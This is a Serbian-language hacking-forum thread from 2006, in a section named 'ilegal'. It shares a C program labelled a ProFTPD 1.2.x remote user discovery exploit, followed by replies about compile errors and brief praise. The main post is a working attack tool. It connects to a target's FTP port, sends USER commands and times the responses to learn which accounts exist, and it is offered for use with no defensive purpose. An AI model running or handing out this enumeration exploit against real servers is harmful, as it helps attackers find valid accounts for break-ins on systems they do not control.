ProFTPD 1.2.x

ProFTPD 1.2.x

Postod Government u Čet Jul 13, 2006 8:57 pm

Kod: Obeleži sve
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <sys/time.h>

#define PORT 21
#define PROBE 8

main (int argc, char **argv)
{
  int sock,n,y;
  long dist,stat=0;
  struct sockaddr_in sin;
  char buf[1024], buf2[1024];
  struct timeval tv, tv2;
  struct timezone tz, tz2;

  printf ("Proftpd remote users discovery exploit\n"
          " Coded by Leon / LSS Security\n"
          ">-------------------------------------<\n");

  if (argc != 3) { printf ("usage: %s ",argv[0]); exit(0); }
 
  sock = socket (AF_INET, SOCK_STREAM, 0);
  sin.sin_family = AF_INET;
  sin.sin_port = htons (PORT);
  sin.sin_addr.s_addr = inet_addr (argv[1]);
  bzero (sin.sin_zero,8);

  connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));

  printf ("Login time: ");
  n = read (sock,buf2, sizeof(buf2));
  for (y=0;y<PROBE;y++) {
     gettimeofday (&tv,&tz);
     snprintf (buf, sizeof(buf)-1,"USER %s\r\n",argv[2]);
     write (sock, buf, strlen(buf));
     n = read (sock,buf2, sizeof(buf2));
     gettimeofday (&tv2,&tz2);
     dist =tv2.tv_usec - tv.tv_usec;
     stat += dist;
     printf (" %d |",dist);
  }
  printf ("\nAvrg: %d\n",(stat/PROBE));
  close (sock);
}
[img]http://img75.imageshack.us/img75/7403/phsvideogp9.gif[/img]
Government
Korisnikov avatar
 
Postovi: 209
Pridružio se: Ned Mar 14, 2004 9:50 pm
Lokacija: somewhere

ProFTPD 1.2.x

Postod diablo_ u Uto Avg 01, 2006 2:56 pm

Kod: Obeleži sve
a.cpp: In function ‘int main(int, char**)’:
a.cpp:23: error: ‘exit’ was not declared in this scope
a.cpp:29: error: ‘bzero’ was not declared in this scope
a.cpp:34: error: ‘read’ was not declared in this scope
a.cpp:38: error: ‘strlen’ was not declared in this scope
a.cpp:38: error: ‘write’ was not declared in this scope
a.cpp:46: error: ‘close’ was not declared in this scope


To dobijem kada pokusam da kompajliram u linuxu.
diablo_
 
Postovi: 9
Pridružio se: Ned Maj 28, 2006 12:36 pm

ProFTPD 1.2.x

Postod Government u Uto Avg 01, 2006 2:59 pm

postavio sam iskompajlirano ...
[img]http://img75.imageshack.us/img75/7403/phsvideogp9.gif[/img]
Government
Korisnikov avatar
 
Postovi: 209
Pridružio se: Ned Mar 14, 2004 9:50 pm
Lokacija: somewhere

ProFTPD 1.2.x

Postod diablo_ u Sre Avg 02, 2006 10:25 am

Lol nisam video :zid:
diablo_
 
Postovi: 9
Pridružio se: Ned Maj 28, 2006 12:36 pm

ProFTPD 1.2.x

Postod Civijas u Sre Avg 02, 2006 10:31 am

respect
Civijas
 
Postovi: 31
Pridružio se: Ned Jul 23, 2006 3:51 am

Re: ProFTPD 1.2.x

Postod dbm u Ned Jul 20, 2008 4:08 am

Prava stvar
dbm
Korisnikov avatar
 
Postovi: 2
Pridružio se: Ned Jul 20, 2008 3:56 am

dbm


Slicne teme


Povratak na ilegal

Ko je OnLine

Korisnici koji su trenutno na forumu: Nema registrovanih korisnika i 0 gostiju